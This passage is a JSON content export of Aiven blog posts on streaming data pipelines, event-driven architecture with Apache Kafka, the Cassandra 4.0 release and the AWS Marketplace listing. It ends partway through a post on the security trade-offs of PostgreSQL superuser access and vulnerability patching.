{"__i18n_lang":"en","_createdAt":"2022-07-13T11:00:52Z","_id":"712jEl6hQjyeJRLoAWmSRW","_rev":"YWHkZRhDz94HWGkESqBwQE","_type":"post","_updatedAt":"2024-09-23T13:49:46Z","authors":[{"_key":"1MZuO0zrxEM76NrInmgwfj","_ref":"1MZuO0zrxEM76NrInmgwfj","_type":"reference"}],"body":"## Why streaming data is essential for the modern data stack\n\nAs a product-led company Aiven is heavily invested in building a pioneering analytics function. Therefore we are always looking for the best ways to capture and harvest data. \n\nI’m [Anton Heikinheimo](mailto:anton.heikinheimo@aiven.io) and I work as a Data Engineer at Aiven, building reliable, scalable and maintainable data pipelines. Aiven as a company has been growing exponentially, more than doubling its headcount every year since our foundation in 2016. However, the data engineering function has not needed to grow since its inauguration in 2020, in fact we have been able to empower Aivens internal analytics with just two data engineers. Championing open source and always prefering managed solutions has been essential for our success. Open source has allowed us to build reliable software and control our costs as we’ve grown, while managed solutions have allowed us to focus on building business logic, not managing infrastructure.\n\nThe discussion between batch and streaming has been ongoing for ages, and the consensus has always been that streaming is the way forward. However, lately a lot of the trends in the data space have even further advanced this comparison in favor of streaming. In this blog post we’re going to talk about what these trends are and why streaming is relevant to enable them.\n\n### Why are data teams moving towards streaming?\n\nThe data teams that have had the privilege of re-thinking their data stack in recent years have typically opted for a stack that is built around streaming, and stream processing. This comes as no surprise when you consider the benefits of setting up streaming pipelines compared to batch. Batch ingestion jobs come with a lower upfront cost as they are easier to set up, but anyone who has stayed around long enough will understand the complications introduced by batch ingestion, for example late arriving dimensions (data being out of sync) and having to make sacrifices in downstream applications due to data delay. Setting up a streaming ingestion pipeline requires more upfront investment, but the main benefits can be grouped into:\n\n* **Data timeliness**, applications built on top of the data warehouse don’t need to wait hours for the data to arrive.\n* **Data quality and completeness**, with the help of CDC (Change Data Capture) and stream processing data teams are able to control the completeness and quality of the data before it gets ingested.\n* **Cost savings**, by aggregating and joining data before ingestion teams are typically able to save costs in storage and processing.\n* **Less operational overhead**, data stacks built around stream processing do not need to worry about data being out of sync.\n\n### Data timeliness\nAside from traditional dashboarding \u0026 reporting, data teams are now also working with operational use-cases that directly affect the flow of business. A new trend in the data space is Reverse ETL, where data is sent from operational systems to the data warehouse, enriched in the data warehouse and then sent back to operational systems. An example of reverse ETL is marketing messaging where customer facing messaging is personalized based on calculated values such as CLTV (Customer lifetime value), customer segmentation and customer health score.\n\nThese new operational use-cases in the data warehouse have greatly increased the importance of data timeliness. Internally at Aiven we have made it as one of our KPIs to reduce the time from when data is generated in the backend to it arriving in its respective operational system. With Apache Kafka® you are able to transmit data as soon as it is generated, and with the help of a stream processing framework such as Apache Flink® you can enrich the data on the fly.\n\n### Data quality and completeness\nThe modern data stack is built around the process of ELT (Extract Load Transform), the main difference to the traditional [ETL (Extract Transform Load)](https://aiven.io/glossary/what-is-etl) is that raw data is not transformed before being loaded to the data warehouse. One of the unintended consequences of ELT is that poor data quality enters the staging area often resulting in technical debt as data teams try to fix poor quality with complex transformations. Moreover, ELT also makes it more difficult to get accurate historical data since the data models are mutable, meaning that the data gets erased and rewritten each run. With mutable models and poor data quality getting an accurate historical view gets exponentially more difficult with each introduction of new features in the staging data. \n\nStream processing can be used to combat these issues, by combining the best of ETL and ELT, doing something called ETLT (Extract Transform Load Transform). In ETLT some preliminary transformations are done during data ingestions, these transformations can be performed with streaming data processing tools like Apache Flink. The rationale behind doing transformations during data ingestion is that some data checks can be performed on the fly, to guarantee data quality in the staging area. Examples of these checks include checking for nulls, performing joins and enforcing a schema. At Aiven for example we are joining two event sources: API requests with API request responses. This serves two purposes:\n\n1. Validating that each response has a request\n2. Pre-joining the data on the fly and avoiding an expensive (and slow) join in the data warehouse\n\nAnother problem lies in data completeness: batch processing uses polling intervals to query the tables on a predefined interval, for example hourly or daily. If changes in the underlying data happen more frequently than the polling interval, and if the tables do not explicitly track the state, then you risk missing valuable information. Furthermore you risk breaking the integrity of the data, for example an immutable `customer_action_log` will contain an action of “email updated”, but the batch process did not capture the updated value in the customer table for email since the customer changed the value back immediately. This is why log based database replication, for example using the Debezium CDC (Change Data Capture) connector, is far superior as the replication is based on the database's native logging source.\n\nLastly, stream processing opens up the possibility of GDPR compliant data pipelines where PII data is anonymized in transit and by doing so you don’t risk PII data laying around in storage containers, logs or unused tables.\n\n### Cost savings\nSignificant data savings can be achieved with stream processing by aggregating and enriching data in transit. \nPre-aggregating data is commonly done when ingesting metrics or other IoT data. Metrics data can often have granularity of seconds, such large amounts of data can skyrocket the costs of storage and compute (imagine a scenario where you have 200 thousand nodes that are all transmitting data every few seconds). At Aiven we are using Apache Flink sliding windows to define the grain of the data at ingestion time, and capture exactly the granularity which best serves the business. While grouping the data into buckets with Flink windows you need to define the aggregate functions, for us this is typically the min, max, avg and a distribution metric.\n\nAnother trend in the data space has been the [Activity Schema](https://www.activityschema.com/), where events and data from different sources are normalized and parsed to a single table. Flink is an excellent tool for this purpose, as it has good support for working with nested JSON structures in SQL. \n\n### Less operational overhead\nOne of the struggles with batch ingestion is the operational overhead which is introduced with extracting various different sources on different schedules. Data is frequently misaligned and often the solution to these failing tests is to wait an hour or two before rerunning the job. The reason for this might be a single failing extraction, which breaks the integrity of the data. Downtime is an unfortunate reality when working with databases, and with batch jobs dealing with these downtimes can be a headache, but with streaming and particularly Apache Flink it is easy to do recovery as it allows us to do transformations based on event time (rather than processing time), essentially leading to the data stream recovering without intervention.\n\nWith streaming data ingestion these scenarios are unlikely, as data is transmitted as soon as it is generated. Lastly, in streaming we have the luxury of using open-source tooling that has been tried and tested, namely Apache Kafka and Apache Flink. These tools are in such a mature state that once your pipeline is up and running it just works (magically). Since the tools are open-source there is also not a risk of being locked in to a specific vendor or software. The pricing is predictable and does not exponentially increase with the usage, actually quite the opposite, scale benefits frequently come into play when working with Kafka and Flink.\n\n### Conclusion\nWe can conclude that recent trends in the data space have only expedited the need to build the data warehouse around streaming. If the data department is not able to provide a reliable data interface which responds to the velocity of the business then the decisions will either go unanswered or business will be making decisions blindfolded. At Aiven we have managed to empower our analysts and business stakeholders by using open source tools like Apache Kafka and Apache Flink on our platform. One unintended consequence of working with Aiven’s platform has been the close collaboration we have developed with our own product function, helping them identify the friction which data engineers encounter in their day to day, which helps them build products that solve real world problems.\n\n\n## Further reading\n\n- [Near Real-Time ELT with Apache Kafka® \u0026 Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake/)\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"5xudGcikDUGEMuFsHkfr0z","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-12T08:23:13.169Z","seo":{"_type":"metaData","metaDescription":"The case for streaming over batch data continues to get stronger. Read on to see how our experience confirms this.","metaImage":{"alt":"","asset":{"_ref":"image-0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844-png","_type":"reference"}},"metaTitle":"Empowering the Modern Data Stack with Streaming Data"},"slug":{"_type":"slug","current":"/blog/our-data-stack"},"subtitle":"The case for streaming over batch data continues to get stronger. Read on to see how our experience confirms this.","title":"Why streaming data is essential to empower the ‘Modern Data Stack' "} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5tcvRybcSkU7QRXuhXA7vZ","_rev":"ejVwHgKe5k9eDWbchrmYKu","_type":"post","_updatedAt":"2024-07-09T13:02:36Z","authors":[],"body":"Request-response is the traditional communication pattern used in computing and in most web applications. In web services, the standard approach is for a client to make a synchronous HTTP request, and then wait for a response from the web server. In a microservices architecture, request-response is also commonly used: a web server sends a connection request or query to a database, then waits for a response. For many use cases, this pattern — a chain of synchronous requests and responses — works well. Until it doesn't.\n\nWhat happens when one link in the chain goes down? Requests that are waiting for a response don’t receive one at all. They continue to wait, or they time out. The entire application is blocked. What's more, as the number of services increases, the number of synchronous interactions between them increases as well. In such a situation, a single system's downtime affects the availability of other systems as well.\n\nAn alternative approach is building a microservices application on an __event-driven architecture (EDA)__. Event-driven architecture is made up of __decoupled__ components — __producers__ and __consumers__ — which process events __asynchronously__, often working through an intermediary, called a __broker__. That might feel like a mouthful. Don't worry — we're going to walk through these concepts one step at a time. In this article, we're going to look at the components that make up event-driven architecture, why you would use this paradigm, and how to implement it.\n\nIn this post, you'll get a general overview of what event-driven architecture is and how you can make it work for you. Here's what we'll look at:\n\n- [Core concepts](#core-concepts)\n- [Using events to notify about state change](#using-events-to-notify-about-state-change)\n- [Using events to replicate state](#using-events-to-replicate-state)\n- [Event collaboration pattern](#event-collaboration-pattern)\n- [Transitioning to EDA with Apache Kafka](#transitioning-to-eda-with-apache-kafka)\n\n## Core concepts\n### 1. The event\nEverything in an event-driven architecture centers around the event. Put simply, an event is anything interesting that happens in your application. Events at all levels of your application, from the end-user client level down to the network connectivity level, may be noteworthy. \n\nHere are some examples of events:\n\n- A new user creating an account with your web application\n- An HTTP request being rejected by your API gateway for exceeding a rate-limiting threshold\n- A web server sending a query to the database for deleting a resource\n- A failed connection attempt by an API server trying to reach a key-value store\n\nAs you can see, what qualifies as an event is incredibly broad.\n### 2. The event *record*\nIf the occurrence of an event is to be captured, an event record is the data that captures that event. That data may include the following: \n\n- request IDs or header information\n- originating IP addresses\n- query statements\n- IDs of affected resources\n- timestamps\n- ... and so on\n\nBecause the sender of an event record (the producer, which we'll meet shortly) has no idea how that event will be consumed, it can only give a best guess as to what data to include in that record. Sometimes, all that is needed are the event's breadcrumbs – enough of a trail for the consumer to track down any additional information on its own if needed. [Designing an event record payload](https://aiven.io/blog/tips-for-designing-payloads \"Aiven blog: Tips for designing payloads\") can require some careful consideration.\n\n### 3. Producers and consumers\nIn an event-driven architecture with various services, producers and consumers are the primary actors that deal with events. Producers go to work when an event occurs, piecing together an event record and sending that record to some sort of capturer. On the other side, consumers check or listen for the occurrence of specific events, so that they can respond accordingly to those events.\n### 4. Streams\nJust now, we mentioned that a producer sends event records to some sort of capturer. To be more precise, producers write records of an event to a stream. A stream is a persistent and ordered sequence of event records. \n\nWhen an event occurs, producers send event records to the streams. Consumers watch the stream, waiting for the arrival or presence of certain kinds of events.\n### 5. Decoupled components\nWhile it might seem like there's an analogy between EDA and the request-response pattern (consumers request information about an event, while producers respond to the occurrence of an event by writing an event record) in EDA, producers and consumers are highly decoupled. They function independently of each other. \n\nProducers write events without any knowledge whatsoever about the consumers of those events. In fact, producers don't even know if there are any consumers of an event at all. \n\nMeanwhile, consumers only care that an event occurred, and are completely unaware of who the event producer is.\n\nIn EDA, because producers and consumers are highly decoupled, one service's outage or downtime no longer affects another service's availability. A producer, without any knowledge of its event consumers, will simply write event records. Even if all of an event's consumers are unavailable, the producer is unaffected. Similarly, a consumer simply listens for the presence of new event records but is otherwise unaffected if the producer of those events experiences downtime.\n### 6. Asynchronous interaction\nBecause producers and consumers are decoupled, their interactions are asynchronous. After a producer writes an event record to the stream, its job is done. The producer doesn't care when a consumer does something with that event record, or whether anything is ever done with that event at all.\n\nWith asynchronous interactions, a consumer may read that event from the stream immediately, or at a later stage depending on its load. The consumer could even read the event at the end of the week when some sort of task is scheduled for aggregation and analysis. The point is: Becasue an EDA is asynchronous, services do not depend on the immediate performance of functions from other services. They do their job, and they go on with their lives.\n### 7. Message brokers \nWhile producers and consumers are the primary actors in an EDA, we also need an intermediary to help facilitate the storage and availability of the event stream. A message broker is responsible for acquiring, storing, and delivering events to their consumers. A message broker should be highly reliable, scalable, and most importantly, ensure that it does not lose events on system failures.\n\nThere are two categories of message brokers defined by how they store data:\n\n1. __Store-backed__: These brokers store events in a data store to serve the consumers. They purge events from their store after delivering them to consumers. RabbitMQ and Apache ActiveMQ are examples of store-backed brokers.\n2. __Log-based__: These brokers store events in logs. The brokers persist the events even after their consumption. Since the events are not removed, the brokers allow consumers to replay events from a previous point in time. NATS and __Apache Kafka__ are examples of these types of brokers.\n\nApache Kafka is one of the most popular durable open-source message brokers that enables applications to process, persist, and re-process events or streams of data. We will discuss the architecture of Kafka and its approach to routing in detail in the next article in this series.\n\nPreviously, we emphasized the highly decoupled nature between producers and consumers in an EDA. It is worth noting here that there is some necessary coupling between the producer and the message broker, and between the consumer and the message broker. An effective EDA system requires its message broker to be highly available for writing by producers. Similarly, both the store-backed and log-based brokers provide guarantees of event delivery.\n### 8. Event schema\nAn event schema is the prescribed shape for an event record in an EDA. This event schema functions like an agreed-upon contract between producers and consumers in the system. Producers are designed to publish event records that comply with the event schema specification, and consumers know what to expect when reading events from the stream. We at Aiven developed Karapace to keep track of schemas and related changes.\n\n## Using events to notify about state change\nNow that we've covered the core concepts of EDA, let's consider common use cases and patterns.\n\nBrokers such as Apache Kafka support the publish-subscribe pattern, in which consumers define the routing of messages to them. Since the routing is consumer-driven, any consumer can plug into the brokers to receive the events they are interested in without affecting other services.\n\nIn an EDA, any given service does not know whether other services exist. A service is only interested in specific state changes in the system, and then that service reacts to the change. For example, let’s say we have two services in an eCommerce application:\n\n1. __Orders Service__: To accept orders from the customers.\n2. __Shipping Service__: To ship the orders received.\n\n![A simple e-commerce application](//cdn.sanity.io/images/sczeoy4w/production/1c4bec02f253d46f99684caae7b59b47066f2619-2500x2083.png)\n\nWhen a customer places an order, the Orders Service updates its state and publishes the \"order received\" event to the message broker. The shipping service fetches the event and updates its state. Due to loose coupling between the services, we can extend the feature set of our application without modifying the existing services.\n\nLet’s assume that we want to add a pricing service to the application. This service updates a product’s price based on its demand. Then, we can plug in the new service as a consumer of the \"order received\" event without affecting the other services.\n![An e-commerce application with integrated pricing service](//cdn.sanity.io/images/sczeoy4w/production/f9124d424b8adac6de0766bddf6dc51a3d10c1d5-2500x2188.png)\n\n## Using events to replicate state\nIn the previous example, we used events to notify services of state changes. However, if the shipping service requires customer details, it would need to query some sort of customer service synchronously. The astute reader will likely realize that this type of synchronous interaction breaks the loose coupling between services. We can fix this problem with events.\n\nWe can use events to replicate the state from the customer service so that the shipping service can use its local state to read customer details. Whenever a customer updates shipping information, a \"customer data\" event is published to the message broker. The shipping service is subscribed to \"customer data\" events, reacting to those events by keeping its own local state of customer shipping information up-to-date at all times. This pattern is formally termed [event-carried state transfer](https://martinfowler.com/articles/201701-event-driven.html \"What do you mean by “Event-Driven”?\").\n\n![E-commerce application with customer data as events](//cdn.sanity.io/images/sczeoy4w/production/889160b887d05b1a837e5625fa875a0d21953c6e-2500x2188.png)\n\n## Event collaboration pattern\nMartin Fowler introduced a pattern called [Event Collaboration](https://martinfowler.com/eaaDev/EventCollaboration.html \"Event collaboration\") which enables a set of services to collaborate on a single business workflow. In this architecture, each service does its bit in the workflow by listening to events and creating new ones. The events are processed in an orchestrated manner by the services to complete an operation.\n\nIn the following diagram for an eCommerce application, we see the workflow that comes out of the interplay of different services and events. Some services create events while others consume them. Sometimes, a service consumes an event and then reacts by creating a separate event. Events can be associated with each other through the use of topics.\n\n![Event collaboration](//cdn.sanity.io/images/sczeoy4w/production/6590864be40e6eb9d2eee93c7d928bf43ef31f8b-2500x2188.png)\n\nAs you can see, no single service owns the process, and each service owns a subset of event transitions. The services only understand the event they require and the event they produce. Thanks to loose coupling, you can replace existing services or update services to raise more events without affecting the workflow, as long as you maintain compatibility with the produced event schema.\n## Transitioning to EDA with Apache Kafka\nAn Apache Kafka cluster is essentially a collection of log files filled with messages, spanning many nodes in a cluster. Kafka’s internals tie these log files together, reliably route messages between producer and consumer, replicate for fault tolerance, and gracefully handle failure. Kafka is a messaging system designed to address various use cases such as high-throughput streaming, durable and ordered message delivery, and long-term storage of large datasets. Kafka is a distributed, scalable messaging service which makes it an ideal backbone through which services can exchange events.\n\nWhen transitioning to an event-based architecture, it may seem daunting to think about architectural changes and infrastructure management at the same time. To focus on implementing an EDA with Apache Kafka, you can offload the infrastructure concerns with a fully managed Apache Kafka solution, such as [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), deployed and hosted with major cloud providers like AWS, Azure, and GCP.\n## Wrapping up\nIn this article, we covered the core concepts that make up event-driven architecture. We looked at events, the main actors (producers and consumers), the role of the message broker for facilitating event streams, and the advantages of EDA with its asynchronous and highly decoupled structure.\n\nThe message broker is critical to the design and effectiveness of an EDA with Apache Kafka making an excellent choice for its scalable, reliable, and fault-tolerant qualities. A fully managed solution, such as Aiven for Apache Kafka, let’s you focus on the EDA implementation while keeping your Kafka service up and running, at the size you need, and in the cloud region of your choice.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n::banner[We've got what you need!]{ctaText=\"Check out our free ebook for everything you always wanted to know about Apache Kafka, but were afraid to ask.\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Want to know more about Apache Kafka®?\" theme=\"dark\"}\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- Get [introduced to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-18T00:00:00.000Z","seo":{"metaDescription":"Goodbye request-response, welcome producers and consumers! Read on to discover event-driven architecture, the best way to build microservice applications.","metaImage":{"alt":"","asset":{"_ref":"image-550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844-png","_type":"reference"}},"metaTitle":"Introduction to event-driven architecture"},"slug":{"_type":"slug","current":"/blog/introduction-to-event-driven-architecture"},"subtitle":"Goodbye request-response, welcome producers and consumers! Read on to discover event-driven architecture, the best way to build microservice applications.","title":"Introduction to event-driven architecture"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2kKw9AalJ9xFsiRsEBnTBD","_rev":"ejVwHgKe5k9eDWbchuQA9x","_type":"post","_updatedAt":"2024-07-11T12:38:01Z","authors":[],"body":"Apache Cassandra 4.0 is particularly noted for its improved stability, better performance, and faster speed. Cassandra 4.0 delivers up to 25% faster throughput on read and write operations and leverages Zero Copy Streaming to stream data up to 5 times faster.\n## What’s new\n\nHere are some of the key features introduced in Cassandra 4:\n- Enhanced Metrics via virtual tables\n- Workload replay with full query logging\\*\n- Audit logging for enhanced compliance\\*\n- Zero Copy Streaming\n\n\\*Not available yet, but will soon be included in Aiven for Apache Cassandra.\n\nFull details on all of the new features are listed on the Cassandra 4.0 web page:\n[https://cassandra.apache.org/doc/4.0/cassandra/new/index.html](https://cassandra.apache.org/doc/4.0/cassandra/new/index.html \"Official Apache Cassandra 4.0 release page\")\n## How to get started with Apache Cassandra 4.0\n\nUpgrade to Apache Cassandra 4.0 to take advantage of these features. If you already use Aiven for Apache Cassandra 3, you can easily run an in-place upgrade to start using the newest version.\n\nNot using Aiven for Apache Cassandra yet? Try out the latest Cassandra version with our free 30-day no-commitment trial.\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-16T00:00:00.000Z","seo":{"metaDescription":"Aiven now supports Apache Cassandra® 4.0. This is the first major version upgrade since Apache Cassandra® 3.0 was released in 2015.","metaImage":{"alt":"","asset":{"_ref":"image-0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Apache Cassandra® 4.0"},"slug":{"_type":"slug","current":"/blog/announcing-apache-cassandra-4-0"},"subtitle":"Aiven now supports Apache Cassandra® 4.0. This is the first major version upgrade since Apache Cassandra® 3.0 was released in 2015.","title":"Announcing Apache Cassandra® 4.0"} {"__i18n_lang":"en","_createdAt":"2023-04-06T12:22:01Z","_id":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_rev":"EgwF35ASC1zRU1qyhdtfSj","_type":"post","_updatedAt":"2024-05-27T12:36:18Z","authors":[{"_key":"6a165f074aff","_ref":"88df9be3-cf62-449e-85f6-dbfe05cb477f","_type":"reference"}],"body":"Customers love using Aiven services together with services from hyper scale cloud providers. Amazon Web Services (AWS) launched its first cloud computing services back in 2006, becoming the first hyper-scale cloud computing provider in the process. Since then, it has continued to innovate and has accelerated its famous 'pace of innovation', ever since, establishing a durable position as the hyper scale market leader.\n\nGiven this, it's not surprising that many Aiven customers are also AWS customers, and are already using Aiven services with AWS services. Many of these customers have told us that they are looking for ways to simplify their usage and consumption of Aiven's portfolio of open source data infrastructure services. \n\nWe’re excited to announce that the full power of Aiven’s open source data platform is now seamlessly available to AWS customers via the AWS Marketplace. This is an important milestone in our AWS partnership and will deepen our collaboration with AWS.\n\n## What’s new?\nWith today’s announcement, customers purchasing Apache Kafka® as a fully managed service from Aiven now have access to the complete Aiven portfolio via self-service from AWS Marketplace. This includes the following products:\n\n- Aiven for Apache Kafka®\n- Aiven for Apache Kafka® Connect\n- Aiven for Apache Kafka® MirrorMaker 2\n- Aiven for Apache Flink®\n- Aiven for Apache Cassandra®\n- Aiven for ClickHouse®\n- Aiven for M3\n- Aiven for M3 Aggregator\n- Aiven for OpenSearch®\n- Aiven for PostgreSQL®\n- Aiven for MySQL\n- Aiven for Caching\n- Aiven for InfluxDB®\n- Aiven for Grafana®\n\n\nAiven’s platform provides the most popular open source technologies such as Apache Kafka, PostgreSQL®, OpenSearch® and more, all managed from a single, easy-to-use console for countless use cases. These include databases and data warehouses, streaming, observability and analytics. All services are fully managed with a guaranteed uptime of 99.99%. \n\nThe comprehensive availability of Aiven’s services in AWS Marketplace provides simple access and centralized billing. Customers can leverage their existing commitments with AWS to expand their tech stack with Aiven open source services. They can also take advantage of the 40+ AWS service connectors such as CloudWatch, S3, VPC peering, Transit Gateway and Private Link for seamless integrations and security with existing AWS workloads.\n\n## How GLOBO provides omnichannel services with Aiven and AWS\n[GLOBO](https://www.helloglobo.com/) is a B2B provider of translation technology and services, enabling organizations to communicate with their customers in any language through a simple platform. Its omnichannel services include on-demand interpreting, translation, localization and more. According to Jonathan De Jong, the VP of Engineering at GLOBO, partnering with Aiven and AWS has been crucial for the company's success, enabling it to focus on its core business activities. De Jong explains, \"What we built with Aiven and AWS was the ability to hyperscale our database, we kind of outsourced the ability to build a highly available platform. This is something really important for a small team - to not need that expertise in-house and to have the teams at Aiven and AWS give us those capabilities.\"\n\n::youtube[How GLOBO provides omnichannel services with Aiven and AWS]{#NWrKM2xSk0Y}\n\n\n## Getting started\n1. Go to the Aiven Managed Database Services listing in the AWS Marketplace\n![Step1](https://cdn.sanity.io/images/sczeoy4w/production/036486c69197741c594a09952ee48a9e5a84f8c3-1999x1944.png)\n\n2. Click the purchase options\n\n3. Click “subscribe”\n\n4. Click “Set up your account”\n![Step4](https://cdn.sanity.io/images/sczeoy4w/production/9d8a0b12b3a36aae655955d50f330b298672af24-1999x1944.png)\n\n5. On the Aiven sign up screen, either log in or sign up as a new user\n![Step5](https://cdn.sanity.io/images/sczeoy4w/production/751fa971ceded82d565c7dbe43180211b845cfc9-1999x1944.png)\n\n6. If you are signing up for the first time, fill in the details\n![Step6](https://cdn.sanity.io/images/sczeoy4w/production/3af6930c8fa040ed753975eae2479a0c6cf82a70-1999x1751.png)\n\n7. Confirm the email address by clicking the link in the email you have received from Aiven\n![Step7](https://cdn.sanity.io/images/sczeoy4w/production/b5322459bf9b5a8fc3e9fed55e13121653aadfb4-1398x1116.png)\n​​\n8. Confirm the subscription\n![Step8](https://cdn.sanity.io/images/sczeoy4w/production/4e2674bb7e3a0129e7efe8d79842e589bf3bda93-1999x1751.png)\n\n9. Click “Complete subscription” and fill in the details for your organization and project. You can also invite other users directly to the organization\n![Step9](https://cdn.sanity.io/images/sczeoy4w/production/e96866e067254339fb14770d55462dd2d78c6472-1566x1976.png)\n\n10. Log in to Aiven Console and create services in the console\n\n## What’s included in the AWS Marketplace offering?\nJust like other Aiven customers, the basic level of support is automatically included in the price. \nHigher support tiers are available for purchase from the [Aiven website](https://aiven.io/support-services). \n\nWe measure usage hourly, and bill monthly based on actual usage during the previous month. You can track your service spend and the prices of the services are also shown in the Aiven Console.\nYou can power down services and power them back up when needed. Everything works automatically behind the scenes.\n\nLearn more about our [AWS partnership here](https://aiven.io/aws) and check out [Aiven on the AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-vylwtm6t2c7fk).\n\n","categories":[{"_key":"6eed86e1fad1","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven Expands Data Platform on AWS Marketplace","asset":{"_ref":"image-8b626216b6356e4dd7894310f36ca825487d63b1-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-06T12:21:40.611Z","related":[{"_key":"55a8a4a4b3b4","_ref":"7I5ab8PEr0f1APEB3xRV1U","_type":"reference"},{"_key":"f882d253a3e2","_ref":"6DVg3fOD4cOwMcfEr9LlNF","_type":"reference"},{"_key":"a8a0cbd36357","_ref":"7pPPWL2R9JeqibNH0wFF2I","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s services in AWS Marketplace provides simple access and centralized billing. Customers can leverage their existing commitments with AWS","metaTitle":"Aiven data platform on AWS Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-expands-data-platform-on-aws-marketplace"},"subtitle":"Customers now have access to the complete Aiven portfolio via self-service from AWS Marketplace.","title":"Aiven Expands Data Platform on AWS Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:25Z","_id":"2Va7O1NNr3ohBFsYZh1yeq","_rev":"VeNKqGNmt13PzvGhqsSJ4A","_type":"post","_updatedAt":"2024-01-29T15:40:47Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"## The problem… \nAiven provides PostgreSQL® as a Database as a Service (DBaaS). As part of the service offering, customers are given a privileged user (avnadmin). The [superuser](https://www.postgresql.org/docs/current/role-attributes.html \"Role attributes on the PostgreSQL project page\") privilege, however, is not given to this user. Superuser access allows bypassing all permission checks and provides the ability to reconfigure the database, something we don't want from a manageability stand-point. The superuser privilege also provides access to functions that allow interaction, reading files and executing programs, on the underlying host. \n\nA database is useful, but can be made even more useful through extensions. PostgreSQL supports a plethora of useful extensions, and we in turn want to ensure our customers can use those extensions. Unfortunately, due to the design of PostgreSQL, most extensions require elevated (superuser) permissions for installation. This creates a security conundrum: how to allow customers to install extensions without superuser access?\n## Working as intended?\nThe struggle with many (or even most) security issues is that they are only *contextually* security issues. They’re actually features that you want in most contexts. The security industry struggles with this, often making hot-headed declarations about how inadequate the architectural design work or even the competence of the developers represents the real problem. As stated, this is exacerbated in the case of a Database Platform-as-a-Service such as Aiven. We sell peace of mind and confidence that our customers can trust us to take care of their data under all circumstances. \n\nHow to provide this balance between the three competing forces of application designers, the security (and compliance) industry, and customer trust? We need to make sure that customers have the full benefit of the service without unnecessary risk, __and__ we need to ensure that we share the burden with the customer as we have this common interest. \n## More Vulnerabilities = More Patches\nWe continue to experience this hamster wheel of pain as new security vulnerabilities are found and patched on a near-constant basis. When you’re working as intimately with customer data as we do at Aiven, every maintenance activity is a potential risk to our customer’s most important asset and even their ability to function. \n\nWe work hard with our post-sales Solution Architect group to make sure that customers have architected their Aiven services to be as resilient, available, and fault-tolerant as possible - but maintenance events aren’t free. Looking back to December 2021, we experienced [0december](https://aiven.io/blog/security-updates-grafana-and-log4j \"Security update: Grafana and Log4j | Aiven blog\") and had a series of maintenance events piling one on top of the other as the Log4j project released new patches in rapid succession. \n## Symptomatic patching\nThis pattern of vulnerability → patch → vulnerability-with-slight-variation → patch-of-slightly-different-trigger-conditions → vulnerability-permutation-number-3 → patch-which-catches-a-few-additional-permutations is extremely costly to all parties involved. And yet, too often, the capacity or capabilities of an open source development team is simply not sufficient to provide a durable fix for a whole class of vulnerabilities. \n\nIn my opinion, this is one of the greatest failures of the big companies that profit through the use of open source software - they seem unwilling to pay for the proper (often expensive) architectural changes necessary to truly remediate the problem. This symptomatic patching cycle is what the open source world has to accept as their best effort. Developers find this just as frustrating as users of their projects do, if not more so! \n\nI’d encourage 